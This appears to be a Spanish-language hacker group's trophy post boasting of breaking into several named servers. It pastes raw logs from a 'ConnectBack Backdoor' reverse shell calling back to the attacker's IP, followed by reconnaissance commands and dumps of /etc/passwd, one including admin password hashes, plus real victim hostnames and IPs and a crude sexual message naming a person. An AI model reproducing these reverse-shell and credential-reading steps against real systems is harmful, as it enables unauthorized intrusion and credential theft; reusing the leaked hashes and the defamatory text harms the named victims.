prueba

OwN To https://store.zacuto.com

ACA DEJO ESTE NUEVO POST DE ESTE SERVER ENCONTRADO CON CODE SEARCH QUE SE ENCONTRABA YA ATACADO............... PERO DEJANDO EL POST DE MI PASO POR EL ....... INFO :
" por cierto https"



from host2.zacuto.com [67.225.217.87] 45215
--== ConnectBack Backdoor vs 1.0 by SnIpEr_SA sniper-sa.com ==--

--==Systeminfo==--
Linux host2.zacuto.com 2.6.18-128.1.14.el5 #1 SMP Wed Jun 17 06:40:54 EDT 2009 i686 i686 i386 GNU/Linux

--==Userinfo==--
uid=99(nobody) gid=99(nobody) groups=99(nobody)


cat /etc/issue
This computer system is for authorized users only. Individuals using this
system without authority or in excess of their authority are subject to
having all their activities on this system monitored and recorded or
examined by any authorized person, including law enforcement, as system
personnel deem appropriate. In the course of monitoring individuals
improperly using the system or in the course of system maintenance, the
activities of authorized users may also be monitored and recorded. Any
material so recorded may be disclosed as appropriate. Anyone using this
system consents to these terms.

--==Shell==--
cat /proc/cpuinfo
processor : 0
vendor_id : GenuineIntel
cpu family : 15
model : 4
model name : Intel(R) Pentium(R) 4 CPU 3.00GHz
stepping : 3
cpu MHz : 3000.435
cache size : 2048 KB
physical id : 0
siblings : 2
core id : 0
cpu cores : 1
apicid : 0
fdiv_bug : no
hlt_bug : no
f00f_bug : no
coma_bug : no
fpu : yes
fpu_exception : yes
cpuid level : 5
wp : yes
flags : fpu vme de pse tsc msr pae mce cx8 apic mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe lm constant_tsc pni monitor ds_cpl est cid cx16 xtpr
bogomips : 6002.62

processor : 1
vendor_id : GenuineIntel
cpu family : 15
model : 4
model name : Intel(R) Pentium(R) 4 CPU 3.00GHz
stepping : 3
cpu MHz : 3000.435
cache size : 2048 KB
physical id : 0
siblings : 2
core id : 0
cpu cores : 1
apicid : 1
fdiv_bug : no
hlt_bug : no
f00f_bug : no
coma_bug : no
fpu : yes
fpu_exception : yes
cpuid level : 5
wp : yes
flags : fpu vme de pse tsc msr pae mce cx8 apic mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe lm constant_tsc pni monitor ds_cpl est cid cx16 xtpr
bogomips : 5999.41
id
uid=99(nobody) gid=99(nobody) groups=99(nobody)
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
avahi-autoipd:x:100:103:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
cpanel:x:32001:32001::/usr/local/cpanel:/bin/false
named:x:25:25:Named:/var/named:/sbin/nologin
mysql:x:101:104:MySQL server:/var/lib/mysql:/bin/bash

[ Sin Asunto ]
lunes, 20 de julio de 2009, 10:59 am
De::
"Nobody"
Añadir remitente a Contactos
Para:
my@yahoo.com.mx

fiesta de tucan vergel 65, FIESTA DE ELIAS BASTO CENTEO EL TUCAN, fiesta de tucan vergel 65

FIESTA DE ELIAS BASTO CENTENO EL TUCAN " DESVIRGAMIENTO ANAL"
fiesta de tucan vergel 65 :
fiesta de tucan vergel 65
fiesta de tucan vergel 65
fiesta de tucan vergel 65
fiesta de tucan vergel 65
FIESTA DEL TUCAN, VERGEL, 65

OwN To avcilaryorukcadiri.com

ESTE ES UN RECUENTO DE LOS DAÑOS ..........

ACA LES DEJO EL POST DE LA INFO

Linux linux3.rodosweb.com 2.6.9-42.ELsmp #1 SMP Sat Aug 12 09:39:11 CDT 2006 i686 i686 i386 GNU/Linux
This computer system is for authorized users only. Individuals using this
system without authority or in excess of their authority are subject to
having all their activities on this system monitored and recorded or
examined by any authorized person, including law enforcement, as system
personnel deem appropriate. In the course of monitoring individuals
improperly using the system or in the course of system maintenance, the
activities of authorized users may also be monitored and recorded. Any
material so recorded may be disclosed as appropriate. Anyone using this
system consents to these terms.

212.174.7.4: inverse host lookup failed: Host name lookup failure
connect to [200.52.194.36] from (UNKNOWN) [212.174.7.4] 45670
Linux linux3.rodosweb.com 2.6.9-42.ELsmp #1 SMP Sat Aug 12 09:39:11 CDT 2006 i686 i686 i386 GNU/Linux
uid=33087(avcilary) gid=33089(avcilary) groups=33089(avcilary)
cat /etc/issue
This computer system is for authorized users only. Individuals using this
system without authority or in excess of their authority are subject to
having all their activities on this system monitored and recorded or
examined by any authorized person, including law enforcement, as system
personnel deem appropriate. In the course of monitoring individuals
improperly using the system or in the course of system maintenance, the
activities of authorized users may also be monitored and recorded. Any
material so recorded may be disclosed as appropriate. Anyone using this
system consents to these terms.

cat /proc/cpuinfo
processor : 0
vendor_id : GenuineIntel
cpu family : 15
model : 4
model name : Intel(R) Pentium(R) 4 CPU 3.40GHz
stepping : 10
cpu MHz : 3392.699
cache size : 2048 KB
physical id : 0
siblings : 2
core id : 0
cpu cores : 1
fdiv_bug : no
hlt_bug : no
f00f_bug : no
coma_bug : no
fpu : yes
fpu_exception : yes
cpuid level : 5
wp : yes
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe nx lm pni monitor ds_cpl est cid xtpr
bogomips : 6788.64

processor : 1
vendor_id : GenuineIntel
cpu family : 15
model : 4
model name : Intel(R) Pentium(R) 4 CPU 3.40GHz
stepping : 10
cpu MHz : 3392.699
cache size : 2048 KB
physical id : 0
siblings : 2
core id : 0
cpu cores : 1
fdiv_bug : no
hlt_bug : no
f00f_bug : no
coma_bug : no
fpu : yes
fpu_exception : yes
cpuid level : 5
wp : yes
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe nx lm pni monitor ds_cpl est cid xtpr
bogomips : 6782.09

OwN To HosT WhiT Kernel 2.6.19-bluecoat.16

SOLO NO ME PREGUNTEN PORQUE EL /etc/passwd SALE EN ESE ORDEN....................

#HackSoft Crew @ Undernet
Greets for:
ToSe - |JAKO| - Freezer - GuiLL3rMo - haxore - SiO - warmad - Rocking - Dj_Ep1cK - pAuLiNiTo - Mustard - Socram - expwOrm - [_K[R]M[X]_]

Last login: Thu Jul 2 19:06:09 2009 from ip.ip.ip.ip
Copyright (c) 1997-2009, BlueCoat Systems, Inc.

Welcome to SG-ME 5.4.1.1 #38189 2009.03.16-092918

Could not chdir to home directory /home/sybase: No such file or directory
-bash-2.07b$ uname -a
Linux adeco 2.6.19-bluecoat.16 #1 Fri Mar 7 13:03:42 EST 2008 i686 i686 i386 GNU/Linux
-bash-2.07b$ cat /etc/issue
This computer system is for authorized users only. Individuals using this
system without authority or in excess of their authority are subject to
having all their activities on this system monitored and recorded or
examined by any authorized person, including law enforcement, as system
personnel deem appropriate. In the course of monitoring individuals
improperly using the system or in the course of system maintenance, the
activities of authorized users may also be monitored and recorded. Any
material so recorded may be disclosed as appropriate. Anyone using this
system consents to these terms.

-bash-2.07b$ cat /proc/cpuinfo
processor : 0
vendor_id : GenuineIntel
cpu family : 15
model : 2
model name : Intel(R) Celeron(R) CPU 2.00GHz
stepping : 9
cpu MHz : 1995.035
cache size : 128 KB
fdiv_bug : no
hlt_bug : no
f00f_bug : no
coma_bug : no
fpu : yes
fpu_exception : yes
cpuid level : 2
wp : yes
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe cid xtpr
bogomips : 3993.36

-bash-2.07b$ cat /etc/passwd
ccd:*:501:1001:ccd user:/local/users/ccd:/bin/sh
daemon:*:1:1:Daemon user:/local/users/admin:/sbin/nologin
root:*:0:0:Root:/local/users/root:/bin/sh
admin:RnY7VQgSWS/Ac:0:1015:Admin:/local/users/admin:/usr/bin/cli
myantel:dB01Bsx3HEXZQ:0:1015:Unprivileged user:/local/users/myantel/:/usr/bin/cli
operator:*:2:5:Operator user:/:/sbin/nologin
bin:*:3:7:Binaries user:/local/users/admin:/sbin/nologin
monitor:*:1001:1007:Monitor:/local/users/monitor:/usr/bin/cli
nobody:*:65534:65534:Unprivileged user:/local/users/admin:/sbin/nologin
pcap:*:65534:65534:Unprivileged user:/local/users/admin:/sbin/nologin
dnscache:!!:4:71::/var/djbdns:/bin/true
dnslog:!!:5:72::/var/djbdns:/bin/true
apache:x:48:48:Apache:/var/www:/sbin/nologin


*PUTO PAYO!!!!!!!!